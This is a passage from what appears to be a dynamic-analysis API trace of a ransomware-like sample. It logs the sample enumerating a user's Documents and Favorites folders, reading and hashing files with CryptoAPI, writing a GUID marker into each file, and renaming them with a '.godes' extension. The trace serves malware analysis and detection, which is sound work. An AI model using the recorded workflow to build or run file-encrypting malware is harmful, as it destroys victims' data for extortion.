RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.902] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.923] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.923] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.923] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.923] CloseHandle (hObject=0x624) returned 1 [0113.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.927] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.927] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.godes")) returned 1 [0113.928] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.928] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0113.929] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0113.929] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0113.929] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.929] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.929] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.929] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.931] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0113.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0113.931] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.931] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.931] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.931] PathFindFileNameW (pszPath="") returned="" [0113.931] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.931] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.931] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0113.931] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0113.931] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0113.931] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.932] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=236) returned 1 [0113.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.934] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.934] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.935] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xec, lpOverlapped=0x0) returned 1 [0113.935] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.935] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.935] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.935] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.936] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.936] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.936] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.936] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.936] GetLastError () returned 0x0 [0113.936] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.936] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.936] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.936] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.936] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.936] CloseHandle (hObject=0x624) returned 1 [0113.938] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.godes")) returned 1 [0113.939] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0113.939] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0113.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.939] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=226) returned 1 [0113.939] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.941] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.941] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.942] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xe2, lpOverlapped=0x0) returned 1 [0113.942] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.942] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.942] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.942] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.943] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.943] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.943] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.943] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.943] GetLastError () returned 0x0 [0113.943] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.943] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.943] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.943] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.943] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.943] CloseHandle (hObject=0x624) returned 1 [0113.944] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.godes")) returned 1 [0113.945] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0113.945] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.945] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.945] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0113.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0113.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.945] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0113.945] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0113.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.946] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0113.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0113.946] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.946] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0113.946] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.946] PathFindFileNameW (pszPath="") returned="" [0113.946] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.947] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.947] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0113.947] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740fc0 [0113.947] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.947] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740fc0 | out: hHeap=0x660000) returned 1 [0113.947] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0113.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.947] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0113.947] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.949] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.949] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.950] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.950] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.950] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0113.950] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.950] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.950] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.950] lstrlenA 